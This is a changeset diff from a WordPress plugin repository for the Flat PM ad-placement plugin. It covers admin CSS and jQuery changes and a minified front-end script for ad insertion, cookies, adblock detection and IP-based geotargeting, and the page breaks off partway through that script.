Changeset 3021164
- Timestamp:
- 01/12/2024 10:21:15 PM (2 years ago)
- Location:
- flatpm-wp/trunk
- Files:
-
- 20 edited
-
assets/admin/css/custom.css (modified) (7 diffs)
-
assets/admin/js/custom.js (modified) (2 diffs)
-
assets/front/main.js (modified) (1 diff)
-
flat_pm.php (modified) (3 diffs)
-
l10n/flatpm_l10n-ru_RU.mo (modified) (previous)
-
l10n/flatpm_l10n-ru_RU.po (modified) (31 diffs)
-
path/blocks/add/content.php (modified) (2 diffs)
-
path/blocks/add/user.php (modified) (4 diffs)
-
path/blocks/edit/content.php (modified) (10 diffs)
-
path/blocks/edit/user.php (modified) (4 diffs)
-
path/folders/edit/content.php (modified) (10 diffs)
-
path/folders/edit/user.php (modified) (5 diffs)
-
path/functions/ajax-handlers/settings/blacklist_ip.php (modified) (2 diffs)
-
path/functions/flat-core.php (modified) (2 diffs)
-
path/functions/flat-filter_content.php (modified) (19 diffs)
-
path/functions/flat-header_footer.php (modified) (1 diff)
-
path/functions/flat-scripts.php (modified) (1 diff)
-
path/migrates/migrate_3_1_0.php (modified) (1 diff)
-
path/settings/block_ip.php (modified) (2 diffs)
-
readme.txt (modified) (2 diffs)
Legend:
- Unmodified
- Added
- Removed
-
flatpm-wp/trunk/assets/admin/css/custom.css
r3019489 r3021164 152 152 .dropdown-content{z-index:9999999;border-radius:5px} 153 153 .collapsible-header{align-items:center;user-select:none} 154 .collapsible li:last-of-type .collapsible-header{border-bottom:0} 154 155 .collapsible-header.disabled{color:#bdbdbd!important} 155 156 .collapsible-header:hover{background-color:rgba(0,0,0,.02)} … … 233 234 .list .chip.active{color:#fff;background:#d87a87} 234 235 .list span.folders_name{position:absolute;top:47px;left:23px;font-size:10px;color:#fff;transition:none} 235 .list span.folders_name i{font-size:12px;line-height:1;top:2px;position:relative }236 .list span.folders_name i{font-size:12px;line-height:1;top:2px;position:relative;width:12px;height:12px} 236 237 .select-wrapper input.select-dropdown{text-overflow:ellipsis} 237 238 .dropdown-content li > a,.dropdown-content li > span{color:#838383;padding:9px 16px} … … 252 253 } 253 254 .create-new{line-height:24px;gap:10px;padding:0 7px} 255 .create-new i{width:28px;height:28px} 254 256 @media screen and (max-width: 500px) { 255 257 .top-controls .status,.top-controls .types,.top-controls .device,.top-controls .filter{width:100%;flex:auto} … … 402 404 #tab-html .sub_block_collapsible_header{display:flex;justify-content:flex-start;align-items:center;flex-wrap:wrap;gap:10px;position:relative;padding:0 10px;border-radius:6px;box-shadow:0 0 0 100px transparent inset;transition:all .2s ease;background-color:rgba(0,0,0,.055)} 403 405 #tab-html .sub_block_collapsible_header:has( input:focus ),#tab-html .sub_block_collapsible_header:hover{background-color:rgba(0,0,0,.085)} 406 #tab-html .sub_block_collapsible_header > .btn-flat i{max-width:19.5px;height:36px} 404 407 #tab-html .main-control input[type="number"],#tab-html .main-control [name*="turned"]:checked + label,#tab-html .main-control [name*="turned"]:not(:checked) + label + label,#tab-html .main-control .btn{width:36.4px;height:36.4px;border-radius:10px;line-height:36.4px;box-shadow:none;min-height:0} 405 408 #tab-html [for*="expand"]{position:absolute;top:0;left:0;width:100%;height:100%;z-index:1;border-radius:6px;overflow:hidden} … … 414 417 #tab-html .main-control{margin:0 0 0 auto;flex-wrap:wrap;z-index:2;position:relative} 415 418 #tab-html .list .controls--move-block{position:static;color:#343434!important;z-index:2;position:relative;top:0;right:4px} 419 #tab-html .list .controls--move-block i{width:18px;height:32.4px} 416 420 #tab-html .devices i,#tab-html .desktop i,#tab-html .laptop i,#tab-html .tablet i,#tab-html .mobile i{color:#d87a87!important} 417 421 #tab-html .devices,#tab-html .desktop,#tab-html .laptop,#tab-html .tablet,#tab-html .mobile{background:#fff!important} … … 443 447 .quicktags-toolbar{padding:0;border:0;background:transparent;display:none;justify-content:flex-start;align-items:center;flex-wrap:wrap;gap:3px;margin:0 0 3px} 444 448 .wp-editor-container{border:none} 445 .wp-core-ui .quicktags-toolbar input.button.button-small{margin:0;flex:auto;height:26.4px;min-height:0;display:flex;align-items:center;justify-content:center;line-height:1 }449 .wp-core-ui .quicktags-toolbar input.button.button-small{margin:0;flex:auto;height:26.4px;min-height:0;display:flex;align-items:center;justify-content:center;line-height:1;color:#000} 446 450 .html_editor_wrapper{position:relative;margin:-35px 0 0} 447 451 .html_editor_wrapper input[id*="[more]"]{display:none} … … 473 477 .row[style*="border-radius:0 0 10px 10px"] > div{border-radius:0 0 10px 10px} 474 478 #tab-flatpm,#tab-other,#tab-main,#tab-pagespeed,#tab-styles,#tab-advanced,#tab-personalization,#tab-import,#tab-export{border-radius:10px} 479 #tab-import .btn-large i, 480 #tab-export .btn-large i{width:24px;height:54px} 475 481 select:not([tabindex]){display:block;height:36px!important;overflow:hidden;width:auto;opacity:0} 476 482 select:not([tabindex]) + label{opacity:0} 477 483 .quicktags-referer-toolbar{display:flex;flex-wrap:wrap;gap:3px;margin:0 0 5px} 478 .quicktags-referer-toolbar button{font-size:12px;min-height:24px;line-height:24px; color:var(--color-green);background:#fff;border:1px solid var(--color-green);padding:0 8px;border-radius:3px;cursor:pointer;flex:auto}479 .quicktags-referer-toolbar button:hover{background -color:var(--color-green-black);color:#fff}484 .quicktags-referer-toolbar button{font-size:12px;min-height:24px;line-height:24px;padding:0 8px;border-radius:3px;cursor:pointer;flex:auto;box-shadow:0 2px 2px 0 rgba(0,0,0,0.08),0 3px 1px -2px rgba(0,0,0,0.04),0 1px 5px 0 rgba(0,0,0,0.15);border:0;background:#fff} 485 .quicktags-referer-toolbar button:hover{background:#f0f0f1;color:#0a4b78} 480 486 .wp-core-ui .quicktags-toolbar input[id*="[code]_close"], 481 487 .wp-core-ui .quicktags-toolbar input[id*="[code]_strong"], -
flatpm-wp/trunk/assets/admin/js/custom.js
r3019186 r3021164 2166 2166 textarea.val( value + '\n' + that.data( 'value' ) ); 2167 2167 } 2168 2169 textarea.trigger( 'input' ); 2168 2170 } ) 2169 2171 … … 2400 2402 } ) 2401 2403 2404 .on( 'change', '[name="content[post_types][all_post_types]"], [name="content[templates][all_templates]"]', function(e){ 2405 e.preventDefault(); 2406 2407 var that = $(this); 2408 2409 that.closest( '.row' ).find( 'input[type="checkbox"]' ).prop( 'checked', that.prop( 'checked' ) ); 2410 } ) 2411 2412 .on( 'change', '[name*="content[post_types]"]:not([name*="[all_post_types]"]), [name*="content[templates]"]:not([name*="[all_templates]"])', function(e){ 2413 e.preventDefault(); 2414 2415 var that = $(this), 2416 closest = that.closest( '.row' ), 2417 other_not_checked = closest.find( '[name*="content[post_types]"]:not([name*="[all_post_types]"]):not(:checked), [name*="content[templates]"]:not([name*="[all_templates]"]):not(:checked)' ); 2418 2419 if( other_not_checked.length > 0 ){ 2420 closest.find( '[name="content[post_types][all_post_types]"], [name="content[templates][all_templates]"]' ).prop( 'checked', false ); 2421 } 2422 } ) 2423 2424 .on( 'input change', '#tab-user input[type="text"], #tab-user textarea, #tab-user select', function(){ 2425 var that = $(this), 2426 value = that.val(), 2427 closest = that.closest( 'li' ), 2428 switcher = closest.find( '[type="checkbox"][name*="[enabled]"]' ), 2429 inputs = closest.find( 'input[type="text"], textarea, select' ), 2430 is_active = false; 2431 2432 inputs.each( function(){ 2433 if( value.length != 0 ){ 2434 is_active = true; 2435 } 2436 } ); 2437 2438 switcher.prop( 'checked', is_active ).trigger( 'change' ); 2439 } ); 2440 2402 2441 var forms_to_submit = [ 2403 2442 '.block_update', -
flatpm-wp/trunk/assets/front/main.js
r3019489 r3021164 1 fpm_settings.selector="true"===fpm_settings.sidebar?fpm_settings.selector:".fpm_end",!NodeList.prototype.forEach&&Array.prototype.forEach&&(NodeList.prototype.forEach=Array.prototype.forEach),window.yaContextCb=window.yaContextCb||[],window.fpm_shuffleArray=function(e){for(var t=e.length-1;0<t;t--){var n=Math.floor(Math.random()*(t+1)),r=e[t];e[t]=e[n],e[n]=r}return e},window.fpm_queryAll=function(t,e,n){try{n="true"===(n=n||"true");var r=!1;["!>","!","!^","!~","!+",":after(",":after-sibling(",":before(",":before-sibling(",":contains(",":icontains(",":starts-with(",":istarts-with(",":ends-with(",":iends-with(",":first(",":has(",":has-sibling("].forEach(function(e){t.includes(e)&&(r=!0)});var o=[];if(r){if(!e)return[];for(var i=document.evaluate(e,document,null,XPathResult.ORDERED_NODE_SNAPSHOT_TYPE,null),a=0,s=i.snapshotLength;a<s;a++)o.push(i.snapshotItem(a))}else o=Array.from(document.querySelectorAll(t));return n||(o=o.filter(function(e){return fpm_user.until_child.includes(e)})),o}catch(e){return fpm_user.debug&&console.log(e),[]}},window.fpm_debug=function(e,t){fpm_user.debug&&(t=t||"the reason is not established",console.log("%cID: "+e,"color: white; background: #ec5555"),console.log("URL: "+window.fpm_settings.ajaxUrl.replace("admin-ajax.php","")+"admin.php?page=fpm_blocks&id="+e),console.log("Reason: "+t),console.log("=".repeat(27)))},window.fpm_ipv6Normalize=function(e){var t=(e=e.toLowerCase()).split(/\:\:/g);if(2<t.length)return!1;var n=[];if(1===t.length){if(8!==(n=e.split(/\:/g)).length)return!1}else if(2===t.length){var e=t[0],t=t[1],r=e.split(/\:/g),o=t.split(/\:/g);for(i in r)n[i]=r[i];for(var i=o.length;0<i;--i)n[7-(o.length-i)]=o[i-1]}for(i=0;i<8;++i)void 0===n[i]&&(n[i]="0000"),n[i]=fpm_ipv6LeftPad(n[i],"0",4);return n.join(":")},window.fpm_ipv6LeftPad=function(e,t,n){n=t.repeat(n);return e.length<n.length&&(e=n.substring(0,n.length-e.length)+e),e},window.fpm_ipToInt=function(e){var t=[];return e.includes(":")?(fpm_ipv6Normalize(e).split(":").forEach(function(e){t.push(parseInt(e,16).toString(2).padStart(16,"0"))}),"function"==typeof window.BigInt&&BigInt(t.join(""),2)):(e.split(".").forEach(function(e){t.push(e.padStart(3,"0"))}),parseInt(t.join("")))},window.fpm_request_ip_api=function(){var e=new Promise(function(e,t){var n=new XMLHttpRequest;n.onreadystatechange=function(){n.readyState==XMLHttpRequest.DONE&&e(n.responseText)},n.open("GET","https://pro.ip-api.com/json/?key="+atob(fpm_settings.key)+"&lang="+fpm_settings.locale,!0),n.send()}),t=new Promise(function(e,t){var n=new XMLHttpRequest;n.onreadystatechange=function(){n.readyState==XMLHttpRequest.DONE&&(200==n.status?e(n.responseText):t({url:fpm_settings.ip_to_block,status:n.status,statusText:n.statusText}))},n.open("GET",fpm_settings.ip_to_block,!0),n.send()});Promise.all([e,t]).then(function(e){var t=JSON.parse(e[0]),n=e[1].split("\n").filter(Boolean);fpm_body.classList.remove("fpm_geo"),fpm_user.ccode=t.countryCode.toLowerCase(),fpm_user.country=t.country.toLowerCase(),fpm_user.city=t.city.toLowerCase(),fpm_user.isp=t.isp.toLowerCase(),fpm_ user.ip="true",0<n.length?new Promise(function(e,t){var n=new XMLHttpRequest;n.onreadystatechange=function(){n.readyState==XMLHttpRequest.DONE&&(200==n.status?e(n.responseText):t({url:fpm_settings.get_ip,status:n.status,statusText:n.statusText}))},n.open("GET",fpm_settings.get_ip,!0),n.send()}).then(function(r){r=fpm_ipToInt(r),n.find(function(e){if(e.includes("-")){var t=e.split("-"),n=fpm_ipToInt(t[0].trim()),t=fpm_ipToInt(t[1].trim());if(r<=t&&n<=r)return fpm_user.ip="false",!0}else if(fpm_ipToInt(e.trim())==r)return fpm_user.ip="false",!0;return!1}),fpm_user.testcook&&fpm_setCookie("fpm_ip",fpm_user.ip),fpm_async_then("ip_api")}):(fpm_user.testcook&&fpm_setCookie("fpm_ip",fpm_user.ip),fpm_async_then("ip_api"))})},window.fpm_on=function(e,t,n,r,o){o=o||!1,e.addEventListener(t,function(e){for(var t=e.target;t&&t!==this;)t.matches(n)&&r.call(t,e),t=t.parentNode},{once:o})},window.fpm_contentsUnwrap=function(e){for(var t=e.parentNode;e.firstChild;)t.insertBefore(e.firstChild,e);t.removeChild(e)},window.fpm_wrap=function(e,t){e.parentNode.insertBefore(t,e),t.appendChild(e)},window.fpm_until=function(e,t,n,r){r=r||"nextElementSibling";var o=[];if(!e)return o;for(o.push(e),e=e[r];e&&(o.push(e),!e.matches(t));)e=(n&&e.matches(n),e[r]);return o},window.fpm_findSelector=function(e,t){var n=[];return t&&(e=e||[]).forEach(function(e){e.matches(t)&&n.push(e);e=e.querySelectorAll(t);e&&0<e.length&&(n=n.concat([...e]))}),n},window.fpm_toNodeList=function(e){var t=document.createDocumentFragment();return e.forEach(function(e){t.appendChild(e.cloneNode())}),t},window.fpm_jsonp=function(e,t){var n="jsonp_callback_"+Math.round(1e5*Math.random());window[n]=function(e){delete window[n],fpm_body.removeChild(r),t(e)};var r=document.createElement("script");r.src=e+(0<=e.indexOf("?")?"&":"?")+"callback="+n,fpm_body.appendChild(r)},window.flatPM_serialize=function(e,t){var n,r,o,i=[];for(n in e)e.hasOwnProperty(n)&&(r=t?t+"["+n+"]":n,o=e[n],i.push(null!==o&&"object"==typeof o?flatPM_serialize(o,r):encodeURIComponent(r)+"="+encodeURIComponent(o)));return i.join("&")},document.write=function(e){var t=document.createElement("div");document.currentScript.insertAdjacentElement("afterend",t),fpm_setHTML(t,e),fpm_stack_scripts.block||(fpm_stack_scripts.block=!0,fpm_setSCRIPT()),fpm_contentsUnwrap(t)},window.fpm_sticky=function(e,a,t){var s=e,l=null,d=t=t||0;function n(){if(null==l){for(var e=getComputedStyle(s,""),t="",n=0;n<e.length;n++)0!=e[n].indexOf("overflow")&&0!=e[n].indexOf("padding")&&0!=e[n].indexOf("border")&&0!=e[n].indexOf("outline")&&0!=e[n].indexOf("box-shadow")&&0!=e[n].indexOf("background")||(t+=e[n]+": "+e.getPropertyValue(e[n])+"; ");(l=document.createElement("div")).style.cssText=t+" box-sizing: border-box; width: "+s.offsetWidth+"px;",s.insertBefore(l,s.firstChild);for(var r=s.childNodes.length,n=1;n<r;n++)l.appendChild(s.childNodes[1]);s.style.padding="0",s.style.border="0"}s.style.height=l.getBoundingClientRect().height+"px";var o=s.getBoundingClientRect(),i=Math.round(o.top+l.getBoundingClientRect().height-a.getBoundingClientRect().bottom);o.top-d<=0?o.top-d<=i?(l.className=fpm_attr.stop,l.style.top=-i+"px"):(l.className=fpm_attr.fixed,l.style.top=d+"px"):(l.className="",l.style.top=""),window.addEventListener("resize",function(){s.children[0].style.width=getComputedStyle(s,"").width},!1)}window.addEventListener("scroll",n,!1),fpm_body.addEventListener("scroll",n,!1),n()},window.fpm_addDays=function(e,t){var n=60*e.getTimezoneOffset()*1e3,r=e.getTime(),e=new Date;return r+=864e5*t,e.setTime(r),n!=(t=60*e.getTimezoneOffset()*1e3)&&(r+=t-n,e.setTime(r)),e},window.fpm_adbDetect=function(){var e=document.createElement("div");e.id="yandex_rtb_",e.classList.add("adsbygoogle"),e.setAttribute("data-tag","flat_pm"),e.style="position:absolute;left:-9999px;top:-9999px",e.innerHTML="Adblock<br>detector",fpm_body.insertAdjacentElement("afterbegin",e);var t=document.querySelector('#yandex_rtb_.adsbygoogle[data-tag="flat_pm"]');if(!t)return!0;t=t.currentStyle||window.getComputedStyle(t,""),t=parseInt(t.height);return e.remove(),!(!isNaN(t)&&0!=t)},window.fpm_setCookie=function(e,t,n){var r,o=(n=n||{path:"/"}).expires;"number"==typeof o&&o&&((r=new Date).setTime(r.getTime()+1e3*o),o=n.expires=r),o&&o.toUTCString&&(n.expires=o.toUTCString());var i,a=e+"="+(t=encodeURIComponent(t));for(i in n){a+="; "+i;var s=n[i];!0!==s&&(a+="="+s)}document.cookie=a},window.fpm_getCookie=function(n){var e=document.cookie.split("; ").reduce(function(e,t){t=t.split("=");return t[0]===n?decodeURIComponent(t[1]):e},"");return""!=e?e:void 0},window.flatPM_testCookie=function(){var e="test_56445";try{return localStorage.setItem(e,e),localStorage.removeItem(e),!0}catch(e){return!1}},window.fpm_randomString=function(e){for(var t="",n="abcdefghijklmnopqrstuvwxyz",r=n.length,o=0;o<e;o++)t+=n.charAt(Math.floor(Math.random()*r));return t},window.fpm_randomProperty=function(e){e=Object.keys(e);return e[Math.floor(Math.random()*e.length)]},window.fpm_random=function(e,t){return Math.floor(Math.random()*(t-e+1))+e},window.flatPM_sanitizeUrlParams=function(e){return e&&["__proto__","constructor","prototype"].includes(e.toLowerCase())?e.toUpperCase():e},window.fpm_getUrlParams=function(e){var t={};e=e||window.location.href;e=(e=flatPM_sanitizeUrlParams(e))?e.split("?")[1]:window.location.search.slice(1);if(e)for(var n=(e=e.split("#")[0]).split("&"),r=0;r<n.length;r++){var o,i=n[r].split("="),a=i[0],s=void 0===i[1]||i[1],a=a.toLowerCase();"string"==typeof s&&(s=s.toLowerCase()),a.match(/\[(\d+)?\]$/)?(t[o=a.replace(/\[(\d+)?\]/,"")]||(t[o]=[]),a.match(/\[\d+\]$/)?(i=/\[(\d+)\]/.exec(a)[1],t[o][i]=s):t[o].push(s)):t[a]?(t[a]&&"string"==typeof t[a]&&(t[a]=[t[a]]),t[a].push(s)):t[a]=s}return t},window.fpm_dynamicInterval=function(e,t,n,r,o){t.autorefresh&&"0"!==t.autorefresh&&setTimeout(function(){e.innerHTML="",r<=++o&&(o=0),t=n[o],fpm_pre_setHTML(e,t.code),fpm_dynamicInterval(e,t,n,r,o)},1e3*t.autorefresh)},flatPM_testCookie()&&fpm_setCookie("fpm_visit",(parseInt(fpm_getCookie("fpm_visit"))||0)+1),window.fpm_stack_scripts={scripts:[],block:!1},window.fpm_base64test=/^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)|([0-9a-zA-Z+/]{3}=))?$/,window.fpm_then={ip_api:[],load:[]},window.fpm_titles="h1,h2,h3,h4,h5,h6",window.fpm_date=new Date,window.fpm_dateYear=fpm_date.getFullYear(),window.fpm_dateMonth=2==(fpm_date.getMonth()+1+"").length?fpm_date.getMonth()+1:"0"+(fpm_date.getMonth()+1),window.fpm_dateWeek=0===fpm_date.getDay()?6:fpm_date.getDay()-1,window.fpm_dateUTCWeek=0===fpm_date.getUTCDay()?6:fpm_date.getUTCDay()-1,window.fpm_dateDay=2==(fpm_date.getDate()+"").length?fpm_date.getDate():"0"+fpm_date.getDate(),window.fpm_dateHours=2==(fpm_date.getHours()+"").length?fpm_date.getHours():"0"+fpm_date.getHours(),window.fpm_dateUTCHours=fpm_date.getUTCHours(),window.fpm_dateMinutes=2==(fpm_date.getMinutes()+"").length?fpm_date.getMinutes():"0"+fpm_date.getMinutes();var prop,fpm_modul=fpm_queryAll("noscript#fpm_modul"),fpm_modul_text="";for(prop in 0<fpm_modul.length&&(fpm_modul_text=fpm_modul[0].outerText,fpm_modul[0].remove()),window.fpm_attr={id:"",type:"",inner:"",status:"",async:"",modal:"",overlay:"",timer:"",cross:"",out:"",fixed:"",stop:"",preroll:"",hoverroll:"",show:"",hide:"",done:"",slider:"",timeline:"",interscroller:""},fpm_modul_text=(fpm_modul_text=fpm_modul_text.replace("<style>","")).replace("</style>",""),fpm_attr){fpm_attr[prop]=fpm_randomString(10);var regex=new RegExp("fpm-"+prop,"g"),fpm_modul_text=fpm_modul_text.replace(regex,fpm_attr[prop])}document.head.insertAdjacentHTML("beforeend","<style>"+fpm_modul_text+"</style>"),window.fpm_user={init:function(){window.fpm_body=window.fpm_body||document.querySelector("body"),this.fpm_end=document.querySelectorAll(".fpm_end"),this.fpm_end=this.fpm_end[this.fpm_end.length-1],this.fpm_start=document.querySelector(".fpm_start"),this.testcook=flatPM_testCookie(),this.browser=this.searchString(this.dataBrowser)||!1,this.os=this.searchString(this.dataOS)||!1,this.referer=this.cookieReferer(),this.winwidth=window.innerWidth,this.date=fpm_dateYear+"-"+fpm_dateMonth+"-"+fpm_dateDay,this.time=fpm_dateHours+":"+fpm_dateMinutes,this.adb=fpm_adbDetect(),this.until=fpm_until(this.fpm_start,".fpm_end"),this.textlen=this.until.map(function(e){return e.outerText}).join().replace(/(\s)+/g,"").length,this.titlelen=fpm_toNodeList(this.until).querySelectorAll(fpm_titles).length,this.country=this.cookieData("country").toLowerCase(),this.city=this.cookieData("city").toLowerCase(),this.ccode=this.cookieData("ccode").toLowerCase(),this.isp=this.cookieData("isp").toLowerCase(),this.ip=this.cookieData("ip").toLowerCase(),this.agent=navigator.userAgent,this.language=navigator.languages&&navigator.languages.length?navigator.languages[0]:navigator.userLanguage||navigator.language,this.until_child=this.until.map(function(e){return[e,Array.from(e.querySelectorAll("*"))]}).flat(1/0),this.debug=fpm_getUrlParams()["fpm-debug"]},cookieReferer:function(){return parent!==window?"///:iframe":fpm_user.testcook?(void 0===fpm_getCookie("fpm_referer")&&fpm_setCookie("fpm_referer",""!=document.referrer?document.referrer:"///:direct"),fpm_getCookie("fpm_referer")):""!=document.referrer?document.referrer:"///:direct"},cookieData:function(e){return fpm_user.testcook&&void 0!==fpm_getCookie("fpm_"+e)?fpm_getCookie("fpm_"+e):""},searchString:function(e){for(var t=e.length,n=0;n<t;n++){var r=e[n].str;if(r&&e[n].subStr.test(r))return e[n].id}},dataBrowser:[{str:navigator.userAgent,subStr:/YaBrowser/,id:"YaBrowser"},{str:navigator.vendor,subStr:/Apple/,id:"Safari"},{str:navigator.userAgent,subStr:/OPR/,id:"Opera"},{str:navigator.userAgent,subStr:/Firefox/,id:"Firefox"},{str:navigator.userAgent,subStr:/Edge/,id:"Edge"},{str:navigator.userAgent,subStr:/Chrome/,id:"Chrome"}],dataOS:[{str:navigator.platform,subStr:/Win/,id:"Windows"},{str:navigator.platform,subStr:/Mac/,id:"Mac"},{str:navigator.platform,subStr:/(iPhone|iPad|iPod)/,id:"iPhone"},{str:navigator.platform,subStr:/Linux/,id:"Linux"}]},window.fpm_offsetTop_with_exeptions=function(r,o){return r=r||"",o=o||"",window.exeptions_offsetTop=window.exeptions_offsetTop||[],window.exeptions_offsetTop[r]||(window.exeptions_offsetTop[r]=fpm_user.until.map(function(e){var t=Array.from(e.querySelectorAll("*")),n=[];return""!=r&&(n=fpm_queryAll(r,o,"false"),t=t.filter(function(e){return!n.includes(e)})),[e,t]}).flat(1/0).map(function(e){return{el:e,offset:Math.round(e.getBoundingClientRect().top-fpm_user.fpm_start.getBoundingClientRect().top)}}),window.exeptions_offsetTop[r])},window.fpm_textLength_with_exeptions=function(i,a){if(i=i||"",a=a||"",window.exeptions_textLength=window.exeptions_textLength||[],window.exeptions_textLength[i])return window.exeptions_textLength[i];var s=0;return window.exeptions_textLength[i]=fpm_user.until.map(function(e){if("SCRIPT"==e.tagName)return[];var t=Array.from(e.querySelectorAll("*")),n=[];""!=i&&(n=fpm_queryAll(i,a,"false"),t=t.filter(function(e){return!n.includes(e)}));var r=0,o=e.outerText.replace(/(\s)+/g,"").length;return 0<t.length&&t.forEach(function(e){var t;void 0!==e.outerText&&"SCRIPT"!=e.tagName&&(t=e.outerText.replace(/(\s)+/g,"").length,r+=t,s+=t),e.fpm_textLength=s}),s+=o-r,e.fpm_textLength=s,[e,t]}).flat(1/0),window.exeptions_textLength[i]},/zen.yandex/.test(fpm_getUrlParams().utm_referrer)&&(fpm_setCookie("fpm_referer","zen.yandex"),fpm_user.referer="zen.yandex"),window.fpm_async_then=function(e){var t=fpm_then[e].length;if(0!=t)for(var n=0;n<t;n++){var r=fpm_then[e][n];fpm_next(r)}else fpm_then[e]=[]},window.flatPM_persentWrapper=function(e,n,t){var r=0,o=!1;return e.forEach(function(e){var t=e.outerText.replace(/(\s)+/g,"");r<n&&(r+=t.length,o=e)}),o},window.fpm_textLength_between=function(e,t,n){var r=e,o=0,i=e.outerText.length,a="data-"+fpm_attr.id;(n=n||!1)&&(o=e.outerText.length,i=0);e:do{for(var s=e;null!==s.previousElementSibling;){if((s=s.previousElementSibling).hasAttribute(a))break e;if(s.previousElementSibling===fpm_user.fpm_start){o=1e8;break e}if(0<(l=s.querySelectorAll("[data-"+fpm_attr.id+"]")).length){l=l[l.length-1];do{for(;null!==l.nextElementSibling;)o+=(l=l.nextElementSibling).outerText.length}while((l=l.parentNode)!==s);break}if(t<=(o+=s.outerText.length))break e}}while(e=e.parentNode,e!==fpm_user.fpm_start.parentNode);e=r;e:do{for(var l,s=e;null!==s.nextElementSibling;){if((s=s.nextElementSibling).hasAttribute(a))break e;if(s.nextElementSibling===fpm_user.fpm_end){i=1e8;break e}if(0<(l=s.querySelectorAll("[data-"+fpm_attr.id+"]")).length){l=l[0];do{for(;null!==l.previousElementSibling;)i+=(l=l.previousElementSibling).outerText.length}while((l=l.parentNode)!==s);break}if(t<=(i+=s.outerText.length))break e}}while(e=e.parentNode,e!==fpm_user.fpm_start.parentNode);return t<=o&&t<=i},window.fpm_interscroller_resize=function(){document.querySelectorAll("."+fpm_attr.interscroller+"-inner").forEach(function(e){e.style.setProperty("--width",e.parentNode.getBoundingClientRect().width+"px")})},window.addEventListener("resize",fpm_interscroller_resize),window.fpm_getScrollbarWidth=function(){var e=document.createElement("div");e.style.visibility="hidden",e.style.overflow="scroll",e.style.msOverflowStyle="scrollbar",document.body.appendChild(e);var t=document.createElement("div");e.appendChild(t);t=e.offsetWidth-t.offsetWidth;return e.parentNode.removeChild(e),t},window.fpm_interscrollerObserver=function(e,t){t=t||3;var n,r=parseInt(window.getComputedStyle(document.body,null).getPropertyValue("padding-right")),o=e.querySelectorAll("span.timer");function i(){return 85<100/window.innerHeight*e.getBoundingClientRect().height?e.getBoundingClientRect().bottom-document.querySelector("html").getBoundingClientRect().top-window.innerHeight:e.getBoundingClientRect().bottom-document.querySelector("html").getBoundingClientRect().top+(window.innerHeight-e.getBoundingClientRect().height)/2-window.innerHeight}document.body.style.overflow="hidden",document.body.style.paddingRight=r+fpm_getScrollbarWidth()+"px",window.scrollTo({top:i(),left:0,behavior:"smooth"}),n=setInterval(function(){window.scrollTo({top:i(),left:0,behavior:"smooth"})},100);var a=setInterval(function(){t--,o.forEach(function(e){e.innerHTML=t}),t<=0&&(document.body.style.overflow="auto",document.body.style.paddingRight=r+"px",o.forEach(function(e){e.remove()}),clearInterval(n),clearInterval(a))},1e3)},window.fpm_render_pixel_ads=function(e,t){t.xpath=t.xpath||"";var n,r,o,i,a=fpm_user.fpm_end.getBoundingClientRect().top-fpm_user.fpm_start.getBoundingClientRect().top,s=fpm_offsetTop_with_exeptions(t.exclude,t.xpath);if((t.n=t.n&&0!=t.n?t.n:1,["percent_once","px_once","center"].includes(t.type)&&("percent_once"===t.type&&(r=Math.round(window.innerHeight/100*t.n)),"px_once"===t.type&&(r=+t.n),"center"===t.type&&(r=a/2),r<(i=200+a)&&(p=[...s].sort((e,t)=>Math.abs(r-e.offset)-Math.abs(r-t.offset)),o=s.find(function(e){return e.offset===p[0].offset}).el,t.m?(t.m=+t.m,fpm_textLength_between(o,t.m)&&o.insertAdjacentElement("beforebegin",e)):o.insertAdjacentElement("beforebegin",e))),["percent_iterable","px_iterable"].includes(t.type))&&("percent_iterable"===t.type&&(r=Math.round(window.innerHeight/100*t.n),n=t.start?Math.round(window.innerHeight/100*t.start):r),"px_iterable"===t.type&&(r=+t.n,n=t.start?+t.start:r),r<(i=200+a))){var l=i;t.max&&(l=Math.min(i,r*t.max+n));for(var d=n;d<l;){var p=[...s].sort((e,t)=>Math.abs(d-e.offset)-Math.abs(d-t.offset));o=s.find(function(e){return e.offset===p[0].offset}).el,t.m?(t.m=+t.m,fpm_textLength_between(o,t.m)&&o.insertAdjacentElement("beforebegin",e.cloneNode())):o.insertAdjacentElement("beforebegin",e.cloneNode()),d+=r}}},window.fpm_cross_timer=function(t,n,r){var e,o,i,a,s=null!==r.querySelector("."+fpm_attr.cross),l=null!==r.querySelector("."+fpm_attr.timer);"true"===n.cross&&((e=document.createElement("div")).classList.add(fpm_attr.cross),e.addEventListener("click",function(e){e.preventDefault(),fpm_close_event(t,n,r),r.classList.add(fpm_attr.hide),fpm_setCookie("fpm_outgoing_"+t.id,"true")})),n.timeout=parseInt(n.timeout)||0,"true"===n.timer&&0<n.timeout?((o=document.createElement("div")).classList.add(fpm_attr.timer),o.innerHTML=fpm_settings.timer_text+" <span>"+n.timeout+"</span>",i=o.querySelector("span"),l||r.appendChild(o),a=setInterval(function(){i.innerHTML=--n.timeout,n.timeout<=0&&(clearInterval(a),o.remove(),"true"===n.cross?s||r.appendChild(e):(fpm_close_event(t,n,r),r.classList.add(fpm_attr.hide)))},1e3)):"true"!==n.cross||s||r.appendChild(e)},window.fpm_close_event=function(e,t,n){n.classList.remove(fpm_attr.show),n.classList.contains("center")||setTimeout(function(){n.remove()},+fpm_settings.speed+100),t.again&&"true"===t.again&&(window.fpm_outgoing_counter=window.fpm_outgoing_counter||[],window.fpm_outgoing_counter[e.id]=window.fpm_outgoing_counter[e.id]||0,(!t.count||window.fpm_outgoing_counter[e.id]<t.count)&&setTimeout(function(){delete e.view.pixels,delete e.view.symbols,delete e.view.once,delete e.view.iterable,delete e.view.preroll,delete e.view.hoverroll,fpm_setWrap(e,!0),fpm_next(e)},t.interval?1e3*t.interval:0),window.fpm_outgoing_counter[e.id]++)},window.fpm_setWrap=function(a,e){e=e||!1;try{if(!e){var t,n,r=[],o=a.html.block,i=0,s=[];for(t in o)if((!o[t].minwidth||o[t].minwidth<=fpm_user.winwidth)&&(!o[t].maxwidth||o[t].maxwidth>=fpm_user.winwidth)){o[t].abgroup||(o[t].abgroup="0"),r[o[t].abgroup]||(r[o[t].abgroup]=[]);var l,d=fpm_user.adb&&(""!==o[t].adb.code||"true"!==fpm_settings.dublicate&&"footer"!==a.id&&"header"!==a.id)?o[t].adb:o[t].html;for(l in fpm_base64test.test(d.code)&&(d.code=decodeURIComponent(escape(atob(d.code)))),d.code=d.code.trim(),fpm_attr){var p=new 